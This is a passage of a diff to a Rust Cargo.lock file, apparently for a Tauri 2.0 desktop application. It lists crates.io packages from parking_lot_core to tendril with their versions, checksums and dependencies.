"parking_lot_core" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.52.6", +] + +[[package]] +name = "pathdiff" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d61c5ce1153ab5b689d0c074c4e7fc613e942dfb7dd9eea5ab202d2ad91fe361" + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "phf" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12" +dependencies = [ + "phf_macros 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" +dependencies = [ + "phf_shared 0.10.0", +] + +[[package]] +name = "phf" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +dependencies = [ + "phf_macros 0.11.2", + "phf_shared 0.11.2", +] + +[[package]] +name = "phf_codegen" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", +] + +[[package]] +name = "phf_codegen" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", +] + +[[package]] +name = "phf_generator" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526" +dependencies = [ + "phf_shared 0.8.0", + "rand 0.7.3", +] + +[[package]] +name = "phf_generator" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" +dependencies = [ + "phf_shared 0.10.0", + "rand 0.8.5", +] + +[[package]] +name = "phf_generator" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +dependencies = [ + "phf_shared 0.11.2", + "rand 0.8.5", +] + +[[package]] +name = "phf_macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "phf_macros" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" +dependencies = [ + "phf_generator 0.11.2", + "phf_shared 0.11.2", + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "phf_shared" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2" + +[[package]] +name = "plist" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42cf17e9a1800f5f396bc67d193dc9411b59012a5876445ef450d449881e1016" +dependencies = [ + "base64 0.22.1", + "indexmap 2.6.0", + "quick-xml", + "serde", + "time", +] + +[[package]] +name = "png" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52f9d46a34a05a6a57566bc2bfae066ef07585a6e3fa30fbbdff5936380623f0" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + +[[package]] +name = "proc-macro-crate" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +dependencies = [ + "once_cell", + "toml_edit 0.19.15", +] + +[[package]] +name = "proc-macro-crate" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b00f26d3400549137f92511a46ac1cd8ce37cb5598a96d382381458b992a5d24" +dependencies = [ + "toml_datetime", + "toml_edit 0.20.2", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro-hack" +version = "0.5.20+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" + +[[package]] +name = "proc-macro2" +version = "1.0.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c3a7fc5db1e57d5a779a352c8cdb57b29aa4c40cc69c3a68a7fedc815fbf2f9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quick-xml" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d3a6e5838b60e0e8fa7a43f22ade549a37d61f8bdbe636d0d7816191de969c2" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", + "rand_pcg", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.15", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "rand_pcg" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "raw-window-handle" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539" + +[[package]] +name = "redox_syscall" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b6dfecf2c74bce2466cabf93f6664d6998a69eb21e39f4207930065b27b771f" +dependencies = [ + "bitflags 2.6.0", +] + +[[package]] +name = "redox_users" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43" +dependencies = [ + "getrandom 0.2.15", + "libredox", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38200e5ee88914975b69f657f0801b6f6dccafd44fd9326302a4aaeecfacb1d8" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" + +[[package]] +name = "reqwest" +version = "0.12.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f713147fbe92361e52392c73b8c9e48c04c6625bce969ef54dc901e58e042a7b" +dependencies = [ + "base64 0.22.1", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "ipnet", + "js-sys", + "log", + "mime", + "once_cell", + "percent-encoding", + "pin-project-lite", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-util", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams", + "web-sys", + "windows-registry", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "ryu" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schemars" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09c024468a378b7e36765cd36702b7a90cc3cba11654f6685c8f233408e89e92" +dependencies = [ + "dyn-clone", + "indexmap 1.9.3", + "schemars_derive", + "serde", + "serde_json", + "url", + "uuid", +] + +[[package]] +name = "schemars_derive" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1eee588578aff73f856ab961cd2f79e36bc45d7ded33a7562adba4667aecc0e" +dependencies = [ + "proc-macro2", + "quote", + "serde_derive_internals", + "syn 2.0.79", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "selectors" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe" +dependencies = [ + "bitflags 1.3.2", + "cssparser", + "derive_more", + "fxhash", + "log", + "matches", + "phf 0.8.0", + "phf_codegen 0.8.0", + "precomputed-hash", + "servo_arc", + "smallvec", + "thin-slice", +] + +[[package]] +name = "semver" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.210" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde-untagged" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2676ba99bd82f75cae5cbd2c8eda6fa0b8760f18978ea840e980dd5567b5c5b6" +dependencies = [ + "erased-serde", + "serde", + "typeid", +] + +[[package]] +name = "serde_derive" +version = "1.0.210" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "serde_derive_internals" +version = "0.29.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "serde_json" +version = "1.0.128" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ff5456707a1de34e7e37f2a6fd3d3f808c318259cbd01ab6377795054b483d8" +dependencies = [ + "itoa 1.0.11", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c64451ba24fc7a6a2d60fc75dd9c83c90903b19028d4eff35e88fc1e86564e9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "serde_spanned" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa 1.0.11", + "ryu", + "serde", +] + +[[package]] +name = "serde_with" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e28bdad6db2b8340e449f7108f020b3b092e8583a9e3fb82713e1d4e71fe817" +dependencies = [ + "base64 0.22.1", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.6.0", + "serde", + "serde_derive", + "serde_json", + "serde_with_macros", + "time", +] + +[[package]] +name = "serde_with_macros" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d846214a9854ef724f3da161b426242d8de7c1fc7de2f89bb1efcb154dca79d" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "serialize-to-javascript" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb" +dependencies = [ + "serde", + "serde_json", + "serialize-to-javascript-impl", +] + +[[package]] +name = "serialize-to-javascript-impl" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "servo_arc" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432" +dependencies = [ + "nodrop", + "stable_deref_trait", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shared_child" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09fa9338aed9a1df411814a5b2252f7cd206c55ae9bf2fa763f8de84603aa60c" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "siphasher" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" + +[[package]] +name = "socket2" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "softbuffer" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18051cdd562e792cad055119e0cdb2cfc137e44e3987532e0f9659a77931bb08" +dependencies = [ + "bytemuck", + "cfg_aliases", + "core-graphics", + "foreign-types", + "js-sys", + "log", + "objc2", + "objc2-foundation", + "objc2-quartz-core", + "raw-window-handle", + "redox_syscall", + "wasm-bindgen", + "web-sys", + "windows-sys 0.59.0", +] + +[[package]] +name = "soup3" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "471f924a40f31251afc77450e781cb26d55c0b650842efafc9c6cbd2f7cc4f9f" +dependencies = [ + "futures-channel", + "gio", + "glib", + "libc", + "soup3-sys", +] + +[[package]] +name = "soup3-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ebe8950a680a12f24f15ebe1bf70db7af98ad242d9db43596ad3108aab86c27" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "string_cache" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b" +dependencies = [ + "new_debug_unreachable", + "once_cell", + "parking_lot", + "phf_shared 0.10.0", + "precomputed-hash", + "serde", +] + +[[package]] +name = "string_cache_codegen" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", + "proc-macro2", + "quote", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "swift-rs" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4057c98e2e852d51fdcfca832aac7b571f6b351ad159f9eda5db1655f8d0c4d7" +dependencies = [ + "base64 0.21.7", + "serde", + "serde_json", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7065abeca94b6a8a577f9bd45aa0867a2238b74e8eb67cf10d492bc39351394" +dependencies = [ + "futures-core", +] + +[[package]] +name = "system-deps" +version = "6.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349" +dependencies = [ + "cfg-expr", + "heck 0.5.0", + "pkg-config", + "toml 0.8.2", + "version-compare", +] + +[[package]] +name = "tao" +version = "0.30.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0dbbebe82d02044dfa481adca1550d6dd7bd16e086bc34fa0fbecceb5a63751" +dependencies = [ + "bitflags 2.6.0", + "cocoa", + "core-foundation", + "core-graphics", + "crossbeam-channel", + "dispatch", + "dlopen2", + "dpi", + "gdkwayland-sys", + "gdkx11-sys", + "gtk", + "instant", + "jni", + "lazy_static", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "objc", + "once_cell", + "parking_lot", + "raw-window-handle", + "scopeguard", + "tao-macros", + "unicode-segmentation", + "url", + "windows", + "windows-core 0.58.0", + "windows-version", + "x11-dl", +] + +[[package]] +name = "tao-macros" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4e16beb8b2ac17db28eab8bca40e62dbfbb34c0fcdc6d9826b11b7b5d047dfd" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "target-lexicon" +version = "0.12.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1" + +[[package]] +name = "tauri" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44438500b50708bfc1e6083844e135d1b516325aae58710dcd8fb67e050ae87c" +dependencies = [ + "anyhow", + "bytes", + "dirs", + "dunce", + "embed_plist", + "futures-util", + "getrandom 0.2.15", + "glob", + "gtk", + "heck 0.5.0", + "http", + "jni", + "libc", + "log", + "mime", + "muda", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "percent-encoding", + "plist", + "raw-window-handle", + "reqwest", + "serde", + "serde_json", + "serde_repr", + "serialize-to-javascript", + "swift-rs", + "tauri-build", + "tauri-macros", + "tauri-runtime", + "tauri-runtime-wry", + "tauri-utils", + "thiserror", + "tokio", + "tray-icon", + "url", + "urlpattern", + "webkit2gtk", + "webview2-com", + "window-vibrancy", + "windows", +] + +[[package]] +name = "tauri-build" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "935f9b3c49b22b3e2e485a57f46d61cd1ae07b1cbb2ba87387a387caf2d8c4e7" +dependencies = [ + "anyhow", + "cargo_toml", + "dirs", + "glob", + "heck 0.5.0", + "json-patch", + "schemars", + "semver", + "serde", + "serde_json", + "tauri-utils", + "tauri-winres", + "toml 0.8.2", + "walkdir", +] + +[[package]] +name = "tauri-codegen" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95d7443dd4f0b597704b6a14b964ee2ed16e99928d8e6292ae9825f09fbcd30e" +dependencies = [ + "base64 0.22.1", + "brotli", + "ico", + "json-patch", + "plist", + "png", + "proc-macro2", + "quote", + "semver", + "serde", + "serde_json", + "sha2", + "syn 2.0.79", + "tauri-utils", + "thiserror", + "time", + "url", + "uuid", + "walkdir", +] + +[[package]] +name = "tauri-macros" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d2c0963ccfc3f5194415f2cce7acc975942a8797fbabfb0aa1ed6f59326ae7f" +dependencies = [ + "heck 0.5.0", + "proc-macro2", + "quote", + "syn 2.0.79", + "tauri-codegen", + "tauri-utils", +] + +[[package]] +name = "tauri-plugin" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2e6660a409963e4d57b9bfab4addd141eeff41bd3a7fb14e13004a832cf7ef6" +dependencies = [ + "anyhow", + "glob", + "plist", + "schemars", + "serde", + "serde_json", + "tauri-utils", + "toml 0.8.2", + "walkdir", +] + +[[package]] +name = "tauri-plugin-shell" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "371fb9aca2823990a2d0db7970573be5fdf07881fcaa2b835b29631feb84aec1" +dependencies = [ + "encoding_rs", + "log", + "open", + "os_pipe", + "regex", + "schemars", + "serde", + "serde_json", + "shared_child", + "tauri", + "tauri-plugin", + "thiserror", + "tokio", +] + +[[package]] +name = "tauri-runtime" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8f437293d6f5e5dce829250f4dbdce4e0b52905e297a6689cc2963eb53ac728" +dependencies = [ + "dpi", + "gtk", + "http", + "jni", + "raw-window-handle", + "serde", + "serde_json", + "tauri-utils", + "thiserror", + "url", + "windows", +] + +[[package]] +name = "tauri-runtime-wry" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1431602bcc71f2f840ad623915c9842ecc32999b867c4a787d975a17a9625cc6" +dependencies = [ + "gtk", + "http", + "jni", + "log", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "percent-encoding", + "raw-window-handle", + "softbuffer", + "tao", + "tauri-runtime", + "tauri-utils", + "url", + "webkit2gtk", + "webview2-com", + "windows", + "wry", +] + +[[package]] +name = "tauri-utils" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c38b0230d6880cf6dd07b6d7dd7789a0869f98ac12146e0d18d1c1049215a045" +dependencies = [ + "brotli", + "cargo_metadata", + "ctor", + "dunce", + "glob", + "html5ever", + "infer", + "json-patch", + "kuchikiki", + "log", + "memchr", + "phf 0.11.2", + "proc-macro2", + "quote", + "regex", + "schemars", + "semver", + "serde", + "serde-untagged", + "serde_json", + "serde_with", + "swift-rs", + "thiserror", + "toml 0.8.2", + "url", + "urlpattern", + "uuid", + "walkdir", +] + +[[package]] +name = "tauri-winres" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb" +dependencies = [ + "embed-resource", + "toml 0.7.8", +] + +[[package]] +name = "tendril" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" +dependencies = [ + "futf", + "mac", + "utf-8", 